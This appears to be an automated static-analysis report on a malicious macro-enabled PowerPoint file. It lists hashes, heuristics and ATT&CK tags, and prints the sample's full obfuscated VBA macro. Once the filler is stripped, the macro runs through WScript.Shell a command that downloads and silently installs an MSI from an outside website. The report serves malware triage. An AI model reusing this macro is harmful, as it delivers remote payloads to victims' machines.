Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 103bdd3ec09c16ce…

MALICIOUS

Office (OOXML)

377.6 KB Created: 2021-10-14 10:41:56 UTC Authoring application: Microsoft Office PowerPoint 16.0000 First seen: 2021-10-24
MD5: 87f1a9fe1b7bbcbfe121f43960fb8ac5 SHA-1: cc5964d110033da82a5eafff288fec231d49c0c3 SHA-256: 103bdd3ec09c16cec43dcde54e8385d231fdff4446db6a4b2591c65eb3c98e6e
142 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample contains VBA macros that utilize WScript.Shell to execute a command. This command, after deobfuscation, is revealed to be a PowerShell command that downloads and executes a second-stage payload from a specific URL. The use of WScript.Shell and the execution of a downloaded payload are strong indicators of malicious intent.

Heuristics 5

  • VBA project inside OOXML medium 2 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    pcelhl = 70 - 70
    nthsepi = "WSCript.shell"
    Set tmlvskto = CreateObject(nthsepi)
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    nthsepi = "WSCript.shell"
    Set tmlvskto = CreateObject(nthsepi)
    mjkflxkdz = tmlvskto.Run(poxuqzfms, pcelhl)
  • Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/2006/01/customui In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1106 bytes
SHA-256: 8e25b5e39cce09ffc8ad9c58558c66d273ccb7ad10d0b6b7342a3a2878fc8753
Detection
ClamAV: No threats found
Obfuscation or payload: likely
24 of 38 identifiers look randomly generated (e.g. 'ahgkllahgkloahgklgahgkliahgklcahgklaahgk') — consistent with name-mangling obfuscation. Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "jmda"

Attribute VB_Name = "bwte"
Sub ocyryntafzraxzokoyvp()

vvcaevfcwdsf = yqqhifyvbnjln("ahgklCahgklmahgklDahgkl ahgkl/ahgklcahgkl ahgklTahgkl^ahgkliahgklMahgklEahgkl^ahgklOahgklUahgklTahgkl ahgkl7ahgkl3ahgkl ahgkl&ahgkl&ahgkl ahgkl^ahgklmahgklSahgkl^ahgkliahgklEahgkl^ahgklXahgkleahgkl^ahgklcahgkl ahgkl/ahgkliahgkl ahgklhahgkltahgkltahgklpahgklsahgkl:ahgkl/ahgkl/ahgklwahgklwahgklwahgkl.ahgkllahgkloahgklgahgkliahgklcahgklaahgkllahgklnahgkleahgkltahgklwahgkloahgklrahgklkahgklsahgkloahgkllahgkluahgkltahgkliahgkloahgklnahgkl.ahgklcahgkloahgklmahgkl/ahgklnahgklxahgkl/ahgkltahgkl1ahgkl.ahgklmahgklsahgkliahgkl ahgkl ahgkl/ahgklqahgkln")

On Error Resume Next
gvtqpaylsmeot = vvcaevfcwdsf
annuzpoyzdgxu (gvtqpaylsmeot)
End Sub


Sub annuzpoyzdgxu(poxuqzfms As String)
pcelhl = 70 - 70
nthsepi = "WSCript.shell"
Set tmlvskto = CreateObject(nthsepi)
mjkflxkdz = tmlvskto.Run(poxuqzfms, pcelhl)
End Sub

Function yqqhifyvbnjln(jussjh As String)
icobliljrxo = "ahgkl"
 eximytnstzl = Split(jussjh, icobliljrxo)
yqqhifyvbnjln = Join(eximytnstzl, "")
End Function
vbaProject_00.bin vba-project OOXML VBA project: ppt/vbaProject.bin 9728 bytes
SHA-256: 5ca0242b77b05010bcbbf04ccf19b2e8d0dc75683dd60e5fa25947dcb5b4d659
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).